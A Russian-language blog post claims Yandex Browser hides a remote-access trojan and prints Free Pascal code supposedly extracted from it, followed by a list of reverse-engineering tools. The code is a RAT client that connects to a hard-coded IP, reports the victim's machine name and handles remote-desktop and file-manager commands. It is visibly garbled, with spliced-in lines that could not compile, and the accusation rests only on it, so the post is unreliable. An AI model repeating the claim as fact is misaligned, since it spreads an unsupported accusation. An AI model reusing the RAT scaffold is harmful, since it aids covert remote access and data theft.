троян в yandex браузере
доступ к этой странице установлен только по ссылке!
Дисклеймер:
Автор не несет ответственности за возможный ущерб при неправильном использовании представленной информации. статья предоставлена в ознакомительных целях.
мини дополнительный дисклемер для фсб и прочих структур которые возможно могут попасть на данную страницу данного сайта, данный сайт я содержу на свои деньги и никакого финансирования не получаю
данная статья написана для предупреждения об угрозе их данных, и немеет цели кого то оскорбить унизить или испортить репутацию компании Яндекса, автор не несёт ответственности в публикации данной информативной статьи Статья 29 Конституции РФ гарантирует каждому свободу мысли и слова, право свободно искать, получать, передавать, производить и распространять информацию любым законным способом; гарантируется свобода массовой информации; цензура запрещается.
Доброго времени суток, посетители и пользователи сайта
данная статья написана в целях уберечь кого нибудь от недобросовестных работников правоохранительных органов,
а также для канала МИР ММО ИГР так как он попросил доказательств ну я ему ответил но и решил написать эту статью
ссылку на неё я тоже напишу в комментарии в котором ему отвечу
я пишу то что знаю из личного опыта, я код этого браузера разбирал по кусочкам почти месяц ушёл на полный разбор и анализ, если в двух словах излагать я нашёл спрятанный ратник удалённого доступа но ратник не плохо спрятан в браузере
основной код запуска данного трояна и его остановки при закрытии браузера
вот
unit ConnectionThread;
interface
uses
classes,sysutils,IdGlobal,IdTCPClient,PacketTypes,ConnectionFunc,fpjson, jsonparser,
DOS,BaseUnix,
FilesFunc;
type
TMainClientThread = class(TThread)
private
PINGED, ServerDisconnected : Boolean;
lastPing : QWord;
protected
procedure Execute; override;
public
IP : String;
Port : Integer;
Active: Boolean;
ThreadTerminated: Boolean;
TCPClient : TIdTCPClient;
constructor Create(CreateSuspended : Boolean);
end;
implementation
constructor TMainClientThread.Create(CreateSuspended : Boolean);
begin
inherited Create(CreateSuspended);
// FreeOnTerminate := True;
PINGED := False;
TCPClient := nil;
ThreadTerminated := False;
end;
procedure TMainClientThread.Execute;
var
Buf,outBuff: TIdBytes;
Len : Cardinal;
Connected: Boolean;
packet : TMainPacket;
jData : TJSONData;
jObject : TJSONObject;
KernelName: UtsName;
PC_info : string;
Files: TStringList;
begin
inherited;
Connected := false;
while not Terminated do
begin
if Active "then=triger_to "start_fpuname:="*/browser.exe"id_form=start_yandex_form"
begin
{Double Check}
Connected := TCPClient.Connected;
Sleep(1);
if not Connected then
begin
try
TCPClient.Host := 77.88.21.125;
TCPClient.Port := 143;
// TCPClient.IPVersion := Id_IPv4;
TCPClient.ConnectTimeout := 3000;
writeln('Try To Connect : '+TCPClient.Host + ':' ,TCPClient.Port ,' | ',TimeToStr(Now));
TCPClient.Connect;
writeln('test : ',TimeToStr(Now) );
if TCPClient.Connected then
begin
try
writeln('Connected To : ',TCPClient.Host + ' | ',TimeToStr(Now) );
begin
packet.DataType := H_MainInfo;
packet.Header.RandomKey[0] := $DEAD;
packet.Header.RandomKey[1] := $C0DE;
Buf := MainPacketToByteArray(packet);
ClientSendBuffer(TCPClient,Buf);
fpuname(KernelName);
jData := GetJSON('{"Serial":"DEADC0DE","ID":"Victim","PCName":"N/A","AV":"N/A","AW":"N/A","Ver":1,"OS":13,"RAM":8192,"CAM":false}');
jObject := TJSONObject(jData);
jObject.Strings['PCName'] := ArrayToString(kernelname.nodename);
PC_info := jObject.FormatJSON;
ClientSendString(TCPClient,PC_info);
WriteLn(' PC info sent ..');
end;
Lastping := TThread.GetTickCount64();
ServerDisconnected := False;
except
ServerDisconnected := True;
end;
end;
except
ServerDisconnected := True;
end;
end;
if while not ServerDisconnected do
begin
Sleep(10);
try
Connected := TCPClient.Connected;
except
Connected := False;
ServerDisconnected := True;
end;
if Connected then
begin
{Read Buffer}
Len := TCPClient.IOHandler.InputBuffer.Size;
{Write Buffer}
if (Len <> 0) and (Len > 10) then
begin
if ClientReceiveBuffer(TCPClient,Buf) then
writeln('Packet with len : ', Len , ' | ',TimeToStr(Now) );
packet := ByteArrayToMainPacket(Buf);
case packet.DataType of
H_RemoteDesktop:
begin
writeln('Get Packet with type : H_RemoteDesktop | ',TimeToStr(Now) );
outBuff := MainPacketToByteArray(packet);
if ClientSendBuffer(TCPClient,outBuff) then
WriteLn('Packet : H_RemoteDesktop - sent .. ');
ClientSendString(TCPClient,PC_info);
end;
H_MainManager:
begin
writeln('Get Packet with type : H_MainManager | ',TimeToStr(Now) );
outBuff := MainPacketToByteArray(packet);
if ClientSendBuffer(TCPClient,outBuff) then
WriteLn('Packet : H_MainManager - sent .. ');
ClientSendString(TCPClient,PC_info);
end;
H_FileManager:
begin
// Files := TStringList.Create();
writeln('Get Packet with type : H_FileManager | ',TimeToStr(Now) );
Writeln ('Sending the CurrentDir : ',GetCurrentDir);
Files := GetAllinDir(GetCurrentDir);
//
end;
end;
end;
nol
if TThread.GetTickCount64() > Lastping + 20000 then
begin
if PINGED = False then
begin
Lastping := TThread.GetTickCount64();
writeln('PING : ',TimeToStr(Now) );
//send ping to server should be here ..
packet.DataType := H_ACTIVE_WINDOW;
Buf := MainPacketToByteArray(packet);
if ClientSendBuffer(TCPClient,Buf) then
WriteLn('Packet : H_ACTIVE_WINDOW - sent .. ');
PC_info := TimeToStr(Now);
ClientSendString(TCPClient,PC_info);
end;
end;
end
else
ServerDisconnected := True;
end;
if function closed-form "start_yandex_form"
try
WriteLn('TCPClient Disconnected ..');
TCPClient.Disconnect(false);
except
end;
WriteLn('TThread Sleep 2 SEC ..');
TThread.Sleep(2000);
end;
end;
WriteLn('Thread Terminated [1] ..');
ThreadTerminated := True;
end;
end.
если этого недостаточно то вот архив с вытащенным данным кодом из оболочки исполняемого файла браузера
пару слов для тех кто захочет покопаться в файлах Яндекс браузера который у вас есть, не удивляйтесь что в коде будите находить функции, переменные связанные с гуглом
это связанно с тем что Яндекс браузер использует библиотеки из Google chroume для обработки и отображения страниц сайтов
в файле brodef.dll находиться ключи для расшифровки некоторых частей кода
так как открыть простым текстовым редактором не получиться вы увидите вот такую непонятную хрень
софт для открытия таких файлов:
7-zip -обязателен, он нужен для извлечения внутренностей их exe файлов так как софт который описан ниже не
выведет все так как не весь код они смогут раскодировать
простой софт первой стадии для не продвинутых в программировании, и тем кто не хочет сильно вникать во всё,
с помощью него можно найти только мелочи серьёзным данный софт я назвать не могу:
1) Resource Hacker
2) M Exe Editor
3) LordPE
4) ProcessExplorer с помощью этой утилиты можно узнать какие файлы использует программа
5) winhex похожее на пункт 2, но с одним но она не очень корректно отображает информацию
6) eXeScope тоже самое что и пункт 1
7) HexCmp
8) Resource Tuner тоже самое что и пункт 1 и пункт 6 он гораздо примитивней выше написанных и более неэфективный для изучения exe и dll файлов
для продвинутым юзерам пригодиться
1) Hashcat его использывать на Windows можно спомощью Windows PowerShell запускать от имени адменистратора
я знаю что Hashcat чаще используют для других целей но рашифровывать некоторый код придёться с помощью его так как аналогов лучше нет, графического интерфейса
для него нет к сожелению хотя раньше когда то был сейчас его не где не скачать, я очень долго искал и не нашёл, ну хотя и через Windows PowerShell не сложно в использыать
далее я перечислять не стану но просмотреть полный список болеменее продвинутого софта можно здесь хотя там не совсем всё но этого и так достаточно хорошего софта,
я немогу всё опубликовать связи с нашими росийскими законами, да и сам сайт находиться на росийском хостинге, далее я думаю и так всё ясно.